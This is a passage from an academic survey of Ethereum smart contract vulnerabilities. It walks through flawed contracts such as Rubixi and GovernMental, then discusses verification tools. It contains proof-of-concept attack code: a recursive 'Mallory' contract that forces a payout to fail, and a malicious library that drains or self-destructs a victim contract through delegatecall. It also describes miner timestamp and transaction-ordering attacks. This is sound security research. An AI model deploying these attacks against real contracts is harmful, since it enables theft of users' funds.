field is private, other contracts cannot read it. To join the game, each player
must transfer 1ether when invoking the function play. If the amount transferred
is different, it is sent back to the player by throwing an exception (line 9). Once
the second player has joined the game, the contract executes andTheWinnerIs
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to send 1.8ether to the winner. The remaining 0.2ether are kept by the contract,
and they can be collected by the owner via getProfit.

An adversary can carry on an attack which always allows her to win a game.
To do that, the adversary impersonates the second player, and waits that the first
player makes his bet. Now, although the field players is private, the adversary
can infer the first player’s bet, by inspecting the blockchain transaction where
he joined the game. Then, the adversary can win the game by invoking play

with a suitable bet9. This attack exploits the “keeping secrets” vulnerability.

4.4 Rubixi

Rubixi [2,8] is a contract which implements a Ponzi scheme, a fraudulent high-
yield investment program where participants gain money from the investments
made by newcomers. Further, the contract owner can collect some fees, paid to
the contract upon investments. The following attack allows an adversary to steal
some ether from the contract, exploiting the “immutable bugs” vulnerability.

At some point during the development of the contract, its name was changed
from DynamicPyramid into Rubixi. However, programmers forgot to accordingly
change the name of the constructor, which then became a function invokable by
anyone (instead, constructors are run only once when the contract is created).
The DynamicPyramid function sets the owner address; the owner can withdraw
his profit via collectAllFees.

1 contract Rubixi {

2 address private owner;

3 function DynamicPyramid() { owner = msg.sender; }

4 function collectAllFees() { owner.send(collectedFees); }

5 ...

After this bug became public, users started to invoke DynamicPyramid in
order to become the owner, and so to withdraw the fees.

4.5 GovernMental

GovernMental [10, 11] is another flawed Ponzi scheme. To join the scheme, a
participant must send a certain amount of ether to the contract. If no one joins
the scheme for 12 hours, the last participant gets all the ether in the contract
(except for a fee kept by the owner). The list of participants and their credit are
stored in two arrays. When the 12 hours are expired, the last participant can
claim the money, and the arrays are cleared as follows:

1 creditorAddresses = new address[](0);

2 creditorAmounts = new uint[](0);

The EVM code obtained from this snippet of Solidity code clears one-by-one each
location of the arrays. At a certain point, the list of participants of GovernMental
grew so long, that clearing the arrays would have required more gas than the
maximum allowed for a single transaction [9]. From that point, any attempt
to clear the arrays has failed. Currently, GovernMental is stuck, and the last
participant cannot get his legit ether.

9 A similar attack on a “rock-paper-scissors” game is presented in [30].
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We now present a simplified version of GovernMental, which shares some of
the vulnerabilities of the original contract.

1 contract Governmental {

2 address public owner;

3 address public lastInvestor;

4 uint public jackpot = 1 ether;

5 uint public lastInvestmentTimestamp;

6 uint public ONE_MINUTE = 1 minutes;

7

8 function Governmental() {

9 owner = msg.sender;

10 if (msg.value<1 ether) throw;

11 }

12

13 function invest() {

14 if (msg.value<jackpot/2) throw;

15 lastInvestor = msg.sender;

16 jackpot += msg.value/2;

17 lastInvestmentTimestamp = block.timestamp;

18 }

19 function resetInvestment() {

20 if (block.timestamp <

21 lastInvestmentTimestamp+ONE_MINUTE)

22 throw;

23

24 lastInvestor.send(jackpot);

25 owner.send(this.balance-1 ether);

26

27 lastInvestor = 0;

28 jackpot = 1 ether;

29 lastInvestmentTimestamp = 0;

30 }

31 }

The contract Governmental gathers the investments of players in rounds, and
it pays back only a winner per round, i.e. the player which is the last for at
least one minute. To join the scheme, a player must invest at least half of the
jackpot (line 14), whose amount grows upon each new investment. Anyone can
invoke resetInvestment, which pays the jackpot (half of the invested total) to
the winner (line 24), and sends the remaining ether to the contract owner. The
contract assumes that players are either users or contracts with empty fallback,
so not to incur in out-of-gas exceptions during send.

We now show three different attacks to our simplified GovernMental10.

Attack #1. This attack exploits the vulnerabilities “exception disorder” and
“stack size limit”, and is performed by the contract owner. His goal is not to
pay the winner, so that the ether is kept by the contract, and redeemable by
the owner at a later time. To fulfil this goal, the owner has to make the send at
line 24 fail. His first step is to publish the following contract:

1 contract Mallory {

2 function attack(address target, uint count) {

3 if (0<=count && count<1023) this.attack.gas(msg.gas-2000)(target, count+1);

4 else Governmental(target).resetInvestment();

5 }

6 }

Then, the owner calls Mallory’s attack, which starts invoking herself recur-
sively, making the stack grow. When the call stack reaches the depth of 1022,
Mallory invokes Governmental’s resetInvestment, which is then executed at
stack size 1023. At this point, the send at line 24 fails, because of the call
stack limit (the second send fails as well). Since GovernMental does not check
the return code of send, the execution proceeds, resetting the contract state
(lines 27-29), and starting another round. The balance of the contract increases
every time this attack is run, because the legit winner is not paid. To collect the
ether, the owner only needs to wait for another round to terminate correctly.

10 The attacks #1 and #3 have been also reported in [35], while attack #2 is fresh.
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Attack #2. In this case, the attacker is a miner, who also impersonates a
player. Being a miner, she can choose not to include in blocks the transactions
directed to GovernMental, except for her own, in order to be the last player in
the round. Furthermore, the attacker can reorder the transactions, such that her
one will appear first: indeed, by playing first and by choosing a suitable amount
of ether to invest, she can prevent others players to join the scheme (line 14), so
resulting the last player in the round. This attack exploits the “unpredictable
state” vulnerability, since players cannot be sure that, when they publish a
transaction to join the scheme, the invested ether will be enough to make this
operation succeed.

Attack #3. Also in this case the attacker is a miner impersonating a player.
Assume that the attacker manages to join the scheme. To be the last player in
a round for a minute, she can play with the block timestamp. More specifically,
the attacker sets the timestamp of the new block so that it is at least one minute
later the timestamp of the current block. As discussed along with the “time
constraints” vulnerability, there is a tolerance of 900 seconds on the choice of
the timestamp. If the attacker manages to publish the new block with the delayed
timestamp, she will be the last player in the round, and will win the jackpot.

4.6 Dynamic libraries

We now consider a contract which can dynamically update one of its components,
which is a library of operation on sets. Therefore, if a more efficient implemen-
tation of these operations is developed, or if a bug is fixed, the contract can use
the new version of the library.

1 contract SetProvider {

2

3 address setLibAddr;

4 address owner;

5

6 function SetProvider() {

7 owner = msg.sender;

8 }

9

10 function updateLibrary(address arg) {

11 if (msg.sender==owner)

12 setLibAddr = arg;

13 }

14

15 function getSet() returns (address) {

16 return setLibAddr;

17 }

18 }

19 library Set {

20 struct Data { mapping(uint => bool) flags; }

21

22 function insert(Data storage self, uint value)

23 returns (bool) {

24 self.flags[value] = true;

25 return true;

26 }

27 function remove(Data storage self, uint value)

28 returns (bool) {

29 self.flags[value] = false;

30 return true;

31 }

32 function contains(Data storage self, uint value)

33 returns (bool) {

34 return self.flags[value];

35 }

36 function version() returns(uint) { return 1; }

37 }

The owner of contract SetProvider can use function updateLibrary to re-
place the library address with a new one. Any user can obtain the address of the
library via getSet. The library Set implements some basic set operations. Li-
braries are special contracts, which e.g. cannot have mutable fields. When a user
declares that an interface is a library, direct calls to any of its functions are
done via delegatecall. Arguments tagged as storage are passed by reference.
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Assume that Bob is the contract of an honest user of SetProvider. In par-
ticular, Bob queries for the library version via getSetVersion11.

1 library Set { function version() returns (uint); }

2 contract Bob {

3 SetProvider public provider;

4 function Bob(address arg) { provider = SetProvider(addr); }

5 function getSetVersion() returns (uint) {

6 address setAddr = provider.getSet();

7 return Set(setAddr).version();

8 }}

Now, assume that the owner of setProvider is also an adversary. She can
attack Bob as follows, with the goal of stealing all his ether. In the first step of the
attack, the adversary publishes a new library MaliciousSet, and then it invokes
the function updateLibrary of SetProvider to make it point to MaliciousSet.

1 library MaliciousSet {

2 address constant attackerAddr = 0x42;

3 function version() returns(uint) {

4 attackerAddr.send(this.balance);

5 return 1;

6 }}

Note that MaliciousSet performs a send at line 4, to transfer ether to the
adversary. Since Bob has declared the interface Set as a library, any direct
call to version is implemented as a delegatecall, and thus executed in Bob’s
environment. Hence, this.balance in the send at line 4 actually refers to Bob’s
balance, causing the send to transfer all his ether to the adversary. After that,
the function correctly returns the version number.

Another way to craft a malicious library is to use the function selfdestruct.
This is a special function, which disables the contract which executes it and send
all its balance to a target address. More specifically, the adversary can replace
line 4 of MaliciousSet with:

selfdestruct(attackerAddr);

This will disable Bob’s contract forever, and send his balance to the adversary.
The attack outlined above exploits the “unpredictable state” vulnerability,

because Bob cannot know which version of the library will be executed when it
used SetProvider. More in general, the main issue of libraries is the presence
of parts which are updated after the contract has been published. This allows
an adversary to change these parts with malicious ones.

5 Discussion

We have presented an analysis of the security of Ethereum smart contracts. Our
analysis is based both on the growing academic literature on the topic, on the
participation to Internet blogs and discussion forums about Ethereum, and on
our practical experience on programming smart contracts. To the best of our
knowledge, our analysis encompasses all the major vulnerabilities and attacks
reported so far. Our taxonomy extends to the domain of smart contracts other
classifications of security vulnerabilities of software [24,25,34,41].

11 The pattern Set(addr).version() is valid until v. 0.3.2 of the Solidity compiler.
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We expect that our taxonomy will evolve as new vulnerabilities and attacks
are found. Indeed, the current trend in the Ethereum community seems to be
toward enriching Solidity with new features and keywords (so increasing the
entropy and the probability of introducing new flaws), rather than trying to
simplify and polish the language. It is foreseeable that the interplay between huge
investments on security-sensitive blockchain applications and the poor security
of their current implementations will foster the research on these topics.

Verification of smart contracts. Some recent works propose tools to detect
vulnerabilities through static analisys of the contract code.

The tool Oyente [35] extracts the control flow graph from the EVM bytecode
of a contract, and symbolically executes it in order to detect some vulnerability
patterns. In particular, the tool consider the patterns leading to vulnerabilities of
kind “exception disorder” (e.g., not checking the return code of call, send and
delegatecall), “time constraints” (e.g., using block timestamps in conditional
expressions), “unpredictable state”, and “reentrancy”.

The tool presented in [23] translates smart contracts, either Solidity or EVM
bytecode, into the functional language F∗ [43]. Various properties are then veri-
fied on the resulting F∗ code. In particular, code obtained from Solidity contracts
is checked against “exception confusion” and “reentrancy” vulnerabilities, by
looking for specific patterns. Code obtained from EVM supports low-level anal-
yses, like e.g. computing bounds on the gas consumption of contract functions.
Furthermore, given a Solidity program and an alleged compilation of it into EVM
bytecode, the tool verifies that the two pieces of code have equivalent behaviours.

Both tools have been experimented on the contracts published in blockchain
of Ethereum. The results of this large-scale analysis show that security vulner-
abilities are widespread. For instance, [35] reports that ∼ 28% of the analyzed
contracts potentially contain “exception disorder” vulnerabilities.

Low-level attacks. Besides the attacks involving contracts, also the Ethereum
network has been targeted by adversaries. Their attacks exploit vulnerabilities
at EVM specification level, combined with security flaws in the Ethereum client.

For instance, a recent denial-of-service attack exploits an EVM instruction
whose cost in units of gas was too low, compared to the computational effort
required for its execution [6]. The attacker floods the network with that instruc-
tion, causing a substantial decrease of its computational power, and a slowdown
to the blockchain synchronization process. Similarly to the recovery from the
DAO attack, also this problem has been addressed by forking the blockchain [1].

Vulnerabilities in client implementations can also be the cause of attacks. A
recent technical report [47] analyses the Ethereum official client. By exploiting
the block propagation algorithm, they discovered that the Ethereum network
can be partitioned in small groups of nodes: in this way, nodes can be forced to
accept sequences of blocks created ad-hoc by the attacker.
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